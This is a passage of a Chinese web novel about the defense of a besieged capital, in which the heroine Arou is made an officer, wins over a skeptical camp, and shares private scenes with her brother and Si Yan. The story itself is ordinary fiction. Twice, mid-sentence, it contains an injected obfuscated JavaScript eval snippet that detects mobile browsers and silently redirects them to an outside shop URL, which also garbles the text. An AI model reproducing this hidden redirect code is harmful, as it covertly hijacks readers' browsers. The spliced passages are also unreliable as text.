再次见到李晁奚,情形已与往日大不相同。 戚家兄妹二人郑重行礼,“参见陛下。” “二位不必拘礼,快请坐。”李晁奚眼下全是乌青,看起来疲惫极了,“今日唤你们来此,是为守城一事。朝中空虚,能为朕出谋划策的人,实在是不多了。” 戚思彦微微颔首,“愿为陛下分忧。” 阿柔倒是有些意外——行军一事,向来是由朝臣和幕僚来商讨的,新帝竟然也会征询她的意见。 似乎是看出阿柔眼神中的惊讶,李晁奚说道:“阿柔不必讶异,先前黑云寨一役,朕就已见识过你的聪慧和胆识。这次西北地区没有落入谢阳和林予哲的手中,你也功不可没。” “陛下谬赞了。”阿柔回道。 “好了,客套话都不必再说,朕现在有一些要紧的情况要同你们讲。”李晁奚面色凝重几分,“青函关失守之时,戚少卿曾劝父皇将长祈周边兵力调遣来守城,再配合西南军两面夹击。但那日,父皇离开皇宫之前曾告诉我……” 李晁奚揉了揉太阳穴,烦躁地叹了口气,“他给西南军务统领唐元思下的命令,不是北上支援京城,而是驻守原地,按兵不动。” “什么?!”戚家兄妹二人皆震惊不已。 司言的脸色同样十分难看,“这件事,我派人查证过了,的确不见西南军北上的动作。” “城内本就人心涣散,这消息若是传出去了,定会再生事端。”李晁奚眉头紧锁,“这也是朕没有大张旗鼓在朝廷之上商议此事的原因。” 阿柔无法理解,“可是……为什么……” 李晁奚冷笑一声,“也许是因为,早在青函关失守之际,父皇就已做好了弃城而逃的决定。下旨令唐将军按兵不动,是为了在逃离京城之后,可以去烟云四州寻求西南军的庇护。” 李晁奚没有将话说得那样明白,但在座之人都能明白其言外之意——李钰早已做好了放弃长祈,保全自己的打算。 可单凭京军八万,如何能抵挡北境而来的二十万叛军? 叛军入城之后,留守在长祈的臣子会怎样,百姓会怎样,这些统统不是他李钰会思考的问题。 他只要保全自己的性命就好了。 阿柔攥紧了拳头,心头涌上悲凉与愤怒。 但好在,她对于这荒诞的时局早已不抱任何希望。既然没了希望,也就谈不上失望。 正这么想着,阿柔察觉到到手上传来柔软的触感——一只温暖的手将她攥紧的拳头包裹着,似是在无声安慰。 阿柔一愣,不动声色地看向司言的方向。目光交错之间,阿柔读出了他眸中的安抚之色。 感受着手上传来的暖意,阿柔心头稍稍平静下来一些。 司言适时地开口说道:“我已派了脚程最快的弟子前去苔州传陛下口谕,估摸着这两日,西南军就会启程了。” 戚思彦闻言,却并未轻松几分,“叛军不日便会兵临城下。而西南军即便是急行,从苔州到长祈,至少也要半月。长祈城要以区区八万京军,对抗二十万大军压境,实在是……太艰险了些。” 李晁奚额上淌出汗来,勉强地勾起唇角,咧出一个难看的微笑,“可事到如今,除了硬着头皮顶上,又有什么办法呢?” 戚思彦叹了口气,“陛下说得是。” 桌案上铺展着一幅卷轴,其上绘着长祈城东西南北四个方向的城防设计。李晁奚又将手边的案卷推到戚思彦的面前,说道:“这些是京军之中职级在校尉以上的名单,戚少卿可知这其中有哪些可用之人?” 戚思彦接过名册,一边思索,一边用笔在其上圈点勾画着。 “宁长衫,从三品归德大将军,西山营主将。西山营乃治军严明之地,即便大昭境内十多年无仗可打,西山营依旧保持着如边军一般的训练作风。这足以说明其主将严于律己,又有治军手段,是个可用之才。” “段怀远,巡防营统领。段统领负责京城巡防事宜,因职务所需,微臣经常与他打交道。此人武功高强,曾拿下演武大会榜首,长祈城中无人可与之匹敌。再兼之勇武忠诚,虽鲜有上阵杀敌之经历,却未必不能一用。” “陈焕,从七品武骑尉。先前清剿黑云山一役曾与陛下同行。此人年轻,却有不少带兵经验,只是心思单纯了些,适合听从别人发号施令,而非自己做出决断。” “……” 一番分析过后,戚思彦将做好批注的名册递还给李晁奚,“大致就是如此了。” 其余几人听过如此全面而客观的分析,皆露出赞叹之色。 李晁奚更是欣喜地说道:“爱卿不亏出身将门,竟有如此独到的见解。” 阿柔坐在一旁得意地偷笑。 戚思彦则淡定而谦逊地道:“承蒙陛下厚爱,能帮上忙便好。” 李晁奚并不吝啬夸奖,“你可是帮了朕大忙了,阿彦!” 选出可用之人后,便是要商讨城防的具体布置。 阿柔提议道:“陛下不妨将宁将军和段统领叫来共同商议此事。宁将军有排兵布阵的经验,而段统领管理长祈城治安多年,对于城中布局最是了解,想来都能提出不少可靠的建议。” 李晁奚欣然应允,即刻派人去传口谕。 恰好此时,云飏进入殿中禀报道:“陛下,定州知州傅城之子傅昭,在宫门外求见。” “傅昭?”李晁奚对此人仍有印象,没费多大力气就回想起来了,有些惊讶地道,“他怎么来了?” 云飏转述道:“傅公子说,如此危急时刻,他想为大昭河山尽些绵薄之力。” 在座几人中,只有戚思彦没见过傅昭。阿柔附在二哥耳边低声解释道:“傅公子是黛山名医陈老先生的弟子。” 戚思彦点了点头,心下了然。 他虽不认得傅昭,却认得陈老先生——那是位极有本事的医者,与江北孙圣手孙映梅不分伯仲。 长祈城接下来要打一场硬仗,伤亡是不可避免的。此时此刻,若能得医家相助,对于战局大有助益。 傅昭得了入宫的允准,进入殿内,见到几位旧识,微微怔愣,但很快便恢复如常,收回视线,同已是天子的李晁奚行礼。 他开门见山地道:“陛下,草民傅昭,带领黛山弟子一十二名,另携伤药十箱,前来支援长祈守城一战。” 众人闻言,皆露出喜色来。 这简直是个天大的好消息! 李晁奚更是大喜过望,“傅卿当真是雪中送炭!” 傅昭拱手道:“陛下过誉了,傅昭是大昭子民,又是官宦子弟。如今长祈有难,傅家岂能坐视不理?” “傅卿放心,待到这场战事结束,朕定会论功行赏。”李晁奚果决地做出决定,“傅昭,朕命你为军医营总医官,京中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149958|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医师可任你调遣,太医院贮藏药品也随你取用。开战之后,务必要跟上伤兵救治。” 傅昭没有意外,也没有犹豫,答应道:“傅昭谨遵陛下旨意。” 李晁奚满意地点了点头,“既然如此,傅卿便请坐下,共商守城事宜。” “是。” 待到宁长衫与段怀远二人接到口谕,赶来宫中,这场商议便正式开始了。 段怀远作为巡防营统领,是在座之人中最熟悉长祈城门构造、城防布局之人。 他率先发言,详细地讲述了城门之上的防御设计,以及各个机关应当安插多少人手,希望将兵力用到实处,以免造成不必要的浪费。 段怀远讲完城防机关后,指着地图说道:“长祈城四面皆有城门,叛军从青函关来,最有可能从东门进攻,我们应当将主力军放在东门处。” 宁长衫赞成道:“我同意段统领的看法。” 李晁奚扶着下巴思索,“可叛军足有二十万,若要围城,也未尝不可。” 戚思彦正想说什么,目光却瞄见自家小妹有意表达的模样,便噤了声。 下一秒,阿柔果然开口说道:“围城是可行,风险却很大。若他们要将兵力分散至各个城门,我们可派弓兵伏击在他们行军途中。除非他们有意避开弓兵的射程,可如此一来,路上损耗的时间就太久了。我们有多想拖延时间,叛军就有多想尽快拿下长祈城,应当不会选取如此拖沓的方案。” 宁长衫与段怀远二人皆露讶异之色,似是没想到一个姑娘家能对行军打仗一事提出合理的建议。 段怀远为人真诚敦厚,更是心直口快地开口夸赞:“不愧是景西王家的千金,竟有如此见地。” 阿柔鲜少在外人面前展露出这方面的才能,陡然听到夸奖,还有些不知如何应对,“啊,段统领谬赞了。” 戚思彦开口将话题拉了回来,“尽管围城的可能性很小,但也不能放任其余几座城门不管。但凡有一座城门失守,整个长祈城的防线就会垮塌。” 宁长衫认同道:“这是自然。现在的问题在于,要如何分布我们手上为数不多的兵力。” “这倒真是个难题,兵力稀缺的情况下,要顾全四面城门,实在是力不从心。”李晁奚突然想起什么,看向司言,“阿言,朕前些日子拜托你去做的事如何了?” 许久没有作声的司言终于开口道:“回陛下,我以故渊门的名义,向天下江湖义士发起征召。直至今日,约莫有三百人应召入京,我已他们安置在客栈和闲置的宅院里。” “江湖义士?”宁长衫皱了皱眉,“江湖中人独来独往惯了,没接受过军中训练,更不懂军中纪律,能起到什么作用?” “宁将军,长祈兵力本就稀缺,值此危急时刻,能上阵杀敌之人自是越多越好。”司言解释道,“这些江湖义士虽无行军打仗之经历,却有以一敌百的身手,对于如今的战局有益而无害。” 宁长衫仍旧不能完全打消顾虑,“话虽如此,这些人身份杂乱,到底难以控制。” 李晁奚适时地说道:“将军请放心,朕不会将江湖义士安插进原先纪律完备的队伍里,自然也就不会破坏原本的军纪。” 戚思彦指着地图,“我们将主力军放在东门,宁将军做统帅,江湖义士和其余兵力则分散在另外三面城门,防备敌军趁虚而入。” 宁长衫沉吟片刻,没有再反驳什么,“这倒也不失为一个办法。” 阿柔刚经历了西北边境宛阳城一战,深知城内消息传递的重要性。偌大一个长祈城,每道门之间相隔甚远,若不能将主将命令传递到位,造成的错误会是极为致命的。 因着这个原因,阿柔特意问道:“届时开战,陛下坐镇何处?” 皇宫位于长祈城最北边,显然不是适宜发号施令的地方。 “城中央已设下主帅营与军医营,傅卿坐镇军医营。”李晁奚看向戚思彦,“戚爱卿,朕需要你的智计,你和朕一起坐镇主帅营。” 戚思彦出身将门,对于各路军法融会贯通,虽不能上阵杀敌,却是军师的不二人选。 戚思彦拱手道:“微臣领命。” “陛下,守城一战,须得将主将命令精准地传递到位。阿柔以为,我们需要专门的联络兵,以便在战时能将陛下的计策落到实处,避免因消息传递失误而酿成大祸。” “说得不错,关于这一点,阿言也已同朕说过了。”李晁奚说道,“传达军令一事,就交给故渊门去做。” 阿柔下意识地看了司言一眼,见他神色稳重,一副举棋若定的模样,觉得相当可靠,顿时安心了不少。 77. 为将 众人商议之下,京城防守总算有了一套完备的应对方案。 归德大将军宁长衫率领西山营将士镇守东门,抵御叛军主力。巡防营统领段怀远守于北,武骑尉陈焕守于南,以防叛军从两翼突破。 三面城墙之间可随时支援,形成一道稳固又灵活的防线。但反之,如若叛军击破了任意一道城门,其余两面也就不攻自破。 至于西门,距离叛军所在位置较远,遭遇敌袭的可能性较低。因此固守西门的大多是江湖义士,而非正规朝廷军,听从司言差遣。 李晁奚与戚思彦坐镇主帅营,根据具体情况,随时下达军令,统筹四方战局,做出决策,再由故渊门人传递至各门统领处。 傅昭则坐镇军医营,与十二名黛山弟子及太医院医官共同负责医治伤兵,将战力损耗压缩至最小。 如此一来,就只剩下一人还未被分配任何使命了。 李晁奚将目光落在阿柔身上,顿了顿,说道:“阿柔,朕想让你随军守门。” 阿柔微微一愣。 戚思彦和司言二人皆变了脸色。 阿柔很快便反应过来,回答:“臣女领命。” 戚思彦在桌下抓住了阿柔的手。 阿柔微微偏过头去,回给二哥一个坚定的眼神,似乎并未打算改口。 司言一开始并不知道会发生这一出,面色不太好看。从私心上讲,他并不愿阿柔以身涉险,试图劝阻道:“可是阿柔并没有什么随军打仗的经验。” 阿柔并未直接回应,而是看向李晁奚,“陛下令臣女随军守门,是有如何考量?” 李晁奚如实说道:“武骑尉陈焕是个年轻有为的将领,但心思单纯,对于战局判断不够准确。虽有朕和戚少卿在主将营发号施令,到底不能同时盯梢四面城门。朕想令阿柔从旁协助,如有陈焕不能应对的突发情况,你可代他做出决断。” 此话一出,宁长衫和段怀远都有些坐不住了,就连坐在旁边一言不发的傅昭也惊讶地微微张大双眼。 宁长衫一向是个稳重规矩的人,有些不能接受如此逾矩的安排,“陛下,军中乃纪律严明之地。戚三小姐的确聪慧,却是无职无级的白衣之身。如此安排,不合礼法。” “宁将军倒是提醒朕了。”李晁奚似乎并不觉得这是什么大问题,“既如此,便将陈焕擢升为昭武校尉,封戚家三娘为昭武副尉。如此一来,应当就合乎规矩了吧。” 话说到这个份上,几人皆知今日之事并非临时起意,陛下早就想好了应对质疑的话术。 宁长衫仍旧有些不能接受,还欲再劝,“戚三小姐到底是女子之身……” 李晁奚却回道:“宁将军熟读兵法与历史,应当知晓,我大昭不是没有过女人做将领的先例。再者,即便是没有先例,比起边境武将起兵谋反,先帝携臣子宫妃弃城而逃,又算得上什么惊世骇俗的大事?” 宁长衫被这一番话噎住了,一时间不知道该如何作答。 他不愿当众驳了陛下和景西王府的面子,徒惹不快,终究没再说什么,拱手说道:“陛下英明。” 新帝有一点说得很对,无论如何,总归是不会让如今的局面变得更差了。 …… 李晁奚将司言和戚思彦留了下来,其余几人则被遣散离开,各自安排。 及至殿外,傅昭终于得以与阿柔打招呼:“戚小姐……不,现在应当是戚副尉了。许久未见,别来无恙。” “突然多了个名号,倒有些不习惯。”阿柔微笑着道,“定州去岁刚遭了劫难,正是百废待兴之时,傅知州和傅公子却能为了守城一战仗义相助,当真令人敬佩。” 傅昭有些不好意思地错开阿柔的视线,“戚副尉这么说,可真是折煞傅昭了。作为大昭子民,官宦之后,大昭有难,傅昭岂能坐视不理?” “好了,傅公子,可莫要一口一个‘戚校尉’的叫了。”阿柔失笑,“私下里还是唤我‘阿柔’吧,我也能更自在些。” 傅昭欣然答应:“好。” “我们走后,定州重建的情况如何?”阿柔探问。 “一开始是遇到了些阻碍。定州城内屋舍田地毁去了大半,庄稼也都遭了殃。一些乡绅富豪起了倒卖粮食的心思,想趁此机会发一笔横财。”傅昭回忆着说道,“家父发现此事后意欲阻止,这帮人便合起伙来,拒绝参与定州重建,也不愿掏一分钱。” “定州不也是他们的居所吗?重建事宜受挫,他们能讨得了什么好处?”阿柔简直无法理解那帮富豪的想法。 傅昭面上也是一言难尽,“定州城损毁严重,不知要多少年才能恢复到从前的光景。而这些乡绅富豪大多不止在定州有屋舍田产,不一定非要守在此处。因此,他们并不在乎定州能否重建,更在乎是谁挡了他们的财路。” “真是有够不要脸的。”阿柔骂道,“那之后呢,解决了吗?” “说到这儿,还要多谢陛下和司门主。”傅昭面露感激之色,“他们猜到定州重建一事多半会受阻,派了人来解决麻烦,使了些手段,叫那些耍小动作的人都老实了。” “竟然还有这样的事,司言都没告诉我。”阿柔第一次听说,有些讶异。 “我也一直以为你知道这事呢。”傅昭说道。 看来在阿柔不知道的时候,陛下和司言的确为民情民生干了许多实事。 是慷慨相助也好,收买人心也罢,无论如何,定州重建一事确有他们二人一份功劳。而如今长祈城灾祸降至,傅昭反过来带着人手和物资前来支援。不知是否算得上一种因果报偿。 二人没聊太久,他们都还有各自的事要办。 阿柔要去军营寻陈焕,向他传递陛下的旨意。傅昭也要向黛山弟子说明情况,分发任务,清点城中药草物资。 告别之后,阿柔便马不停蹄地往军营赶。及至目的地,已是黄昏时刻。 陈焕见到来人,有些惊讶,“戚三小姐?” 阿柔开门见山地向他讲清楚了整件事的来龙去脉,以及陛下的安排。 非常时期,没有圣旨,没有擢升仪式,就只有这么一道口谕。 陈焕先是有几分怔愣,随即正色道:“我知道了,我这就将军营里的弟兄们召集过来。” 对于阿柔受封副尉一事,陈焕倒是很快就接受了。 旁人或许不知道,但陈焕心里一清二楚,当初清剿黑云寨之事,可有这位戚三小姐一份功劳。 更何况连这个将领也曾是阿柔的手下败将,军营又是个靠实力说话的地方,陈焕心服口服。 而且,陈焕知道自己是个拿不定主意的人,若能有个聪明人从旁帮他分析战局,他心里头也能踏实一些。 陈焕将军中将士召集起来后,阿柔发现这其中有不少熟悉的面孔。 两年前黑云山一役,阿柔在军中大展身手,而后又帮着军医营救治了许多伤兵。不少人都对阿柔心存敬意与感激,如今再次相逢,都露出了惊讶却友善的目光。 当然,也免不了有一部分人,陡然发现营中多了个女人,面露怀疑与轻视之色,窃窃私语起来。 “安静!”陈焕面色严肃地整顿道,“军营不是碎嘴的地方,有什么话就直接说!” 阿柔站在一旁负手而立,挺直腰背,全无心虚与惧色。 待众将安静下来,陈焕宣布道:“我身边这位,是景西王之女戚雪柔,也是陛下亲封的昭武副尉。即日起,便是营中副将。往后营中之事,由本将与戚副尉共同决议。” 这番话毫无意外地在军中掀起了轩然大波,人人面上惊诧震颤不已,也有相当一部分人发出了质疑的声音。 阿柔一早便知道会是这个结果,但好在,她也不是第一次应对这样的局面。 她没有理会台下的质疑之声,径自对陈焕道:“陈校尉,今日我没有带佩剑,可否借我一把武器?” 陈焕不解其意,却顺着她说道:“当然可以。” 无数道目光投向阿柔,似乎是想看看她究竟想做什么。 陈焕将腰间佩刀借给了阿柔。她接过武器,向陈焕道了谢,转而面向营中众将,声音冷冽,“大敌当前,我不想浪费时间。如有对此事不服者,大可上前来与我一战。” 众人面面相觑,没有料到如此发展。 “‘一个女人有什么能耐’,你们是这样想的吧。”阿柔环视着台下众人,“刚刚不是很能说吗,这会儿都哑巴了?” 她的语气十分平淡,似乎全然没有将众人的质疑放在眼里。但恰是这样的从容,反而惹得一些人心生不快、恼羞成怒。 底下有人压抑着怒气道:“如果你输了呢?” 阿柔直视着那人,从容地说道:“若我输了,即刻去请陛下收回成命,以后不会再插手营中之事。” 陈焕心下一惊,“戚三……戚副尉!” 阿柔淡淡地看了他一眼,微微摇头,示意他不必担忧。 营中空降一个副尉,即便是男人,恐怕也要受到质疑,更不必说是阿柔这般的女子。 李晁奚不可能不知道一个女子要在军营中占有一席之地该有多难,但却依旧选择封她为昭武校尉,正是因为相信她能够漂亮地解决这件事。 要想获得别人的尊重和认可,首先要将自己置于与别人同等的位置上。若阿柔要靠陛下的旨意和陈焕的维护才能让这些男人们闭上嘴,她也别做什么昭武副尉了,尽早回王府待着做她的戚三小姐才是正道。 阿柔必须要向所有人证明,她的能力足以支撑自己站在这里。 刚才提出疑惑的人闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157464|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,轻蔑地笑了笑,从队列中站了出来,活动活动手腕筋骨,轻浮地说道:“那就请赐教了,小娘子。” 陈焕扶额,心中默默为他点了一根蜡。 弹指过后,那人便被阿柔扔在了地上。 阿柔面上没什么波澜,居高临下地看着他,“就这?” 台下众人目瞪口呆。 几乎没人能看得清阿柔的动作,只见她步法灵活,轻轻松松地躲过攻势,又借力打力,没费什么力气便让进攻之人失去平衡,摔倒在地。 力量的确不是阿柔的强项,但她有一百种方法能够制伏身形更为健硕,气力更为强悍之的敌人。 阿柔挑眉,乜视台下,“还有吗?” 质疑声少了许多。但仍有人不信邪,要同阿柔比试。 但很快,他们便切实地感受到眼前之人的实力有多么强悍。 从旁观之,还不觉得有什么,只当这小娘子是在投机取巧,靠着灵活的步法才得以取胜。 只有亲身与之对战才会发现,这人看着没使什么力气,实则攻势又快又狠,稍微不留神,就会被她抓住弱点一击制胜,根本没有还手的余地。 善于观察敌人招式的弱点,便是阿柔以女子之身修习武功所学会的重要秘诀。 在第十八个挑战者落败后,终于没有人再提出质疑了。 空气中弥漫着诡异的沉默,陈焕赶紧站出来主持局面,“好了,都闹够没有?” 阿柔知趣地退居其后,不再说话。 陈焕拧眉,语调强硬地批评道:“册封戚副尉是圣上的旨意,岂容你们置喙?大敌当前,不齐心协力抵御外敌,净想着和自己人私斗,传出去也不怕丢了我大昭兵士的脸面!若说戚三娘不配做营中副尉,难道你们就配吗?!” 落败的那十余人被陈焕说得面红耳赤,却无从反驳。 陈焕将视线落在第一个落败的轻浮之人身上,“你方才唤戚副尉什么?小娘子?哼,军营乃纪律严明之地,以下犯上,该当何罪!” 那人还未从输给一个女人的打击中走出来,听闻陈焕这一番话,更是大惊失色,屈膝垂首道:“末将知错!” 陈焕有意替阿柔立威,想要拿他当靶子,“既是如此,就罚你杖刑五十,引以为戒。” 那人脸色瞬间变了。 大战在即,他却因违反军纪而挨板子,说出去肯定被人笑话! 京城周边军营的将士们鲜少有实战机会,从军多年,好不容易盼来杀敌立功、一举跃升的机会,怎么能轻易将前途断送在此! 阿柔敏锐地察觉到那人的不甘,灵光一闪,悠然开口:“陈校尉,叛军不日便会兵临城下。此战原就敌众我寡,实在不宜再自损战力。” “那戚副尉觉得应当如何处置?” 兵卒闻言,似是觉得有戏,心中暗喜:娘们家的,果真是优柔寡断、心慈手软。 下一秒,他便听得这新上任的女副尉说道:“依我看,就先将这五十杖刑记下来,令他将功补过。斩杀一个敌寇,抵五记杖刑,等把这五十杖刑都抵消掉了,再考虑算军功的事,你说怎么样?” 那人顿时如遭雷劈。 开什么玩笑!她以为上阵杀敌是砍瓜切菜么??? 杀一个敌兵抵五记刑杖,杀十个敌兵可以抵消掉“以下犯上”之罪,在此之后才能开始算军功。 此举看似是令他将功折罪,实则是将落在身上的惩罚变作了对战功的克扣。 这也忒阴了! 可偏巧他又不能拒绝——那五十记仗刑若真现在施行,他就更不可能拿到战功了。届时大军压境,若是兵力不足,令他强行带伤上阵,也许连小命都保不住。 他终究是咬牙切齿地答应了:“末将……多谢戚副尉。” 其余人见此情状,都明白这女人是个不好惹的,不禁感到一阵后怕,又纷纷庆幸起自己方才没有做出什么失礼逾矩的举动。 陈焕对这样的结果也很是满意。 待遣散人群之后,阿柔将佩刀还给陈焕,“陈校尉,真是士别三日,当刮目相待啊。” 当日在黑云山一役与陈焕相识,他虽是将领,却有些镇不住场子。还是有李晁奚这个皇室血脉在,才能将营中人治得服服帖帖。 如今的陈焕比两年前雷厉风行了不少,也更具备一个将领的威严。 陈焕发自内心地夸赞道:“哪里,戚副尉才是,无论身手还是手腕,都让在下自愧不如。若不是如今形势严峻,我倒真想再同戚副尉比试一番。” “等战事结束,我定当奉陪。”阿柔爽朗地应道,“好了,陈校尉,我这初来乍到的,什么都不清楚,还得劳烦你向我介绍一下营中的具体情况。” “这是自然。”陈焕向她指引方向,“这边请。” 78. 约定 为将者,须得熟悉自己手下的兵,才能知晓如何排兵布阵,发挥每个人身上的长处。但现在,显然已经没有那么多时间可以让阿柔去磨合了。 阿柔能做的,也只有在陈焕的帮助下,尽快了解这支军队的整体风格,弄清楚军队的管理方式,下设多少支队伍,这些队伍的队长又是谁——诸如此类信息。 了解完基本情况后,已近夜半时分。 营中将士大多已经休息,只有少部分人在巡逻守营。 陈焕说道:“陛下旨意下得突然,我方才叫人将主将营腾出来了,你可以在那里歇息。” 阿柔感激地道:“多谢好意,只是今夜,我须得回王府一趟,明日一早便会回来。” 陈焕不再多说什么,点点头,“既是如此,你就赶快去吧。” …… 阿柔以最快的速度赶回了景西王府,果然看到二哥的住处仍旧点着灯。 她在卧房外敲了敲门,听到二哥在里面应了声,便推门而入。 戚思彦散了发,正坐在榻上看书。他身体不好,平日里这个点早就歇息了。而现在仍旧点着灯看书的原因只有一个——他在等她。 “二哥。”阿柔走上前去,坐在床榻边摆放的矮凳上。 戚思彦合上书,看向她,叹了口气,“你知不知道,陛下为什么要封你为昭武副尉?” 阿柔点了点头,回答道:“我知道的。一方面是为了让我名正言顺地辅佐陈焕,另一方面……是不想浪费了我这样的战力。我毕竟是江湖名门出身,武功要比那些临时招募来的市井子弟强上不少。如今长祈城孤立无援,敌众我寡,当然要把每个人的作用都发挥出来。” “你既然都明白,便该知道,这场封赏根本不是恩惠,是为了让你拼尽这一条命,也要多杀几个敌人。”戚思彦的声音有些颤抖。 “二哥,我知道。”阿柔有些担忧,抓住他的手。 “我后悔了,阿柔。”戚思彦眼眶染上几分血色,“我就该像先帝带走乐瑶那样,想办法把你送得远远的,再不见这些刀光剑影的纷争。” 阿柔微微垂下头,苦涩地道:“二哥,对不起。” “阿柔,不必跟哥哥说对不起。”戚思彦眼眸低垂,“是哥哥没用,只能空谈布阵之事,却无上阵杀敌之能。如果可以,我恨不能代你往前线去。” “说什么呢,二哥!”阿柔连忙反驳,“什么没用?不许说这样的话!” “阿柔……”戚思彦深吸一口气,直勾勾地望向她,语气中竟带着几分恳求,“不能不去吗?” 阿柔很少见戚思彦露出这样的神色来,一时间有些无措,“二哥,我,我……” “罢了,是我太无理取闹了。”戚思彦自嘲一笑,“你刚从军营回来,定然已经宣明身份,木已成舟了。我再阻你,岂不是打陛下的脸?” “对不起,二哥,没有提前与你商量……” “这不是你的错,陛下也未曾给咱们商量的时间不是?”戚思彦很快平复了心情,又恢复了平日里温和稳重的模样。 今日散会后,李晁奚将他与司言留下,其实并没有嘱咐什么重要的事情,也没有交代旁人听不得的差事。 现在想来,他的目的无非是断绝阿柔被此二人劝说着反悔的一切可能性。 虽说天子之命本不可违,但李晁奚这皇位也并不名正言顺。只要阿柔这个昭武副尉还未在人前露面,一切尚有转圜的余地。 可阿柔已在军中士卒面前露了脸,宣明身份,再想要反悔,丢的就不是天家的脸面,而是他景西王府的脸面了。 如此心计,竟更胜当年的李钰几分。 也不知李晁奚未曾跟随先帝出逃,留在长祈城,到底是被人抛下,还是他自己的选择。 “二哥不必为此忧心,我若能在战场上多杀几个敌人,便能增添几分胜算。再说,倘或此战败了,无论我在不在战场之上,都难逃一个‘死’字。” 阿柔宽慰着道:“我因心中道义而选择留在长祈城,与哥哥共同面对将至的险局。但我也想要活下去,想和哥哥一起活下去。我还有许多没见过的风景,还有许多没实现的愿望,所以……我绝不会甘心就这样死在这里。” 阿柔抬头看向戚思彦,目光坚定,笑意温柔,“哥哥,请允许我为自己的理想和生命一战。” 戚思彦愣在了原地。 恍惚间,他想起许多年前,幼妹曾掷地有声地对他和二哥说:“我讨厌这世道强加给人们的无形镣铐,只想闯出一条属于自己的道路,即便为世人所不容,却也无怨无悔。” 那时候,他是多么的感动和骄傲啊。 戚思彦早就放弃了金戈铁马的理想,被迫成为留守京城的困兽。所以他倾尽一生,也想让自己百般疼宠的妹妹做一只飞鸟,自由自在地徘徊于天际,不要步他的后尘。 是他亲自教会阿柔——这世上有太多比生命更重要的事,或是仁义、或是真情、或是行于世间所秉持的价值。 于是,阿柔决定为这份价值而守在长祈城。 她决定为这份价值,奔赴战场,以身化为一把利刃,燃尽心火,直至终局。 在这一瞬间,戚思彦终于明白,是他亲自将阿柔教成现在这副模样的,他是全世界最没有资格和立场阻止阿柔的人。 戚思彦看向幼妹,目光中满是眷恋,似乎是怕下一秒,她就不见了。 “好阿柔,想做什么,就去做吧。”戚思彦语调轻柔,眼带笑意,“反正,哥哥一直在这,陪着你呢。” 阿柔咬紧了嘴唇,有一股想要落泪的冲动。 二哥真的好温柔。 他似乎永远不舍得苛责她,只会将一切责任都揽在自己的身上,默默为她扫清一切障碍。 但阿柔不能哭。 她已不再是被父兄庇佑着的不谙世事的姑娘,而是圣上亲封的昭武副尉。 她的身后是千军万马,她肩负着家国天下的命运,以及黎民百姓的安危。 也许她的事迹会成为史书上浓墨重彩的一笔,亦或者她的姓名终究随着岁月流逝而被人遗忘。 但阿柔依旧要站起身来,挺直腰背,做得比任何人都要好。 阿柔深吸一口气,眼中雾蒙蒙的,却笑着说道:“二哥,我从西北离开的时候,阿爹曾说,待这场战事了结了,咱们一家人,要好好地聚一聚。所以,我们都不能食言。” “嗯。”戚思彦微笑着点头应道。 “好了二哥,时候不早了,你快些歇息吧。”推心置腹过后,阿柔不忍再让二哥熬着,连忙催促道。 戚思彦的确觉得有些困倦了,眉宇间流露出几分疲色,“好了,别光顾着管我了,你也早点休息。” 阿柔连声应了。 待到二哥躺在榻上阖眼休息,阿柔便吹了烛火,轻手轻脚地离开了,沿着长廊往自己的院落走去。 及至院落,阿柔并未着急进房,而是先将院子里守着的小厮侍女通通赶去休息。待人散尽,她坐在院内石椅上,沐着月光,整个人都松懈了下来,懒洋洋地打了个哈欠,“人都走了,还不现身吗?” 话音刚落,便有一个人影从屋顶上轻盈地跳了下来。 司言走到阿柔身前,直勾勾地看着她。 阿柔被他看得有些心虚,“干什么,别一直盯着我看呀。” 阿柔迎着月色投去视线,发现司言身形僵硬,肩膀微微颤抖。他抿着嘴唇,似乎在极力克制什么。 “阿言,你……” 下一秒,司言毫无征兆地凑上前来,一手托着她的后脑勺,一手揽着她的脖颈,贴上她的唇。 阿柔微微睁大了双眼。 这一吻比以往任何一次都要激烈漫长、难舍难分。 温烫的鼻息交织缠绕在一起,笼罩于唇齿之间,强势掠夺着面目四周的每一寸空气,令人燥热难耐,又有些喘不过气来。 唇瓣被一片温软紧紧地堵住,又被似有若无地轻咬吸吮,鼻尖也被迫贴合在对面之人的面颊之上。阿柔艰难地喘息着,眼角难以自抑地泛起红晕。 不知过去了多久,司言终于松开了圈禁她的手。 二人分开,阿柔满面通红,大口地喘息起来,好不容易才缓过气。 她正想说些什么,转而又被拢入一个坚实紧致的怀抱。 感受着司言微微颤抖的身躯,阿柔立刻忘了自己刚才想要说些什么,只是回抱着他,妄图将自己身上的温暖尽数传递而去。 司言闷闷的声音从耳后传来,“我刚刚跟了你一路。” 阿柔轻抚着他的后背,笑道:“我知道。” “你什么时候发现的?” “从军营出来的时候。”阿柔言语之中并无责怪,声音轻柔,“我还在想,你什么时候会出现,没想到,最后还需要我叫你出来。” “我原本是想等你一从军营出来,就将你拦下。” “哦?那又为什么没有呢?”阿柔声音细软,觉得自己的语气像在哄一个孩子。 “因为……我知道阿柔还有许多话要同戚二哥讲明白。”司言说道,“戚二哥身子弱,熬不得夜,我等等也无妨。” “原来是这样啊。”阿柔温声道,“阿言可真是个贴心的人。” 司言松开怀抱,定定地看着阿柔,说道:“你这是在哄我吗?” 阿柔眨眨眼,“哄你是真的,夸你也是真的。” 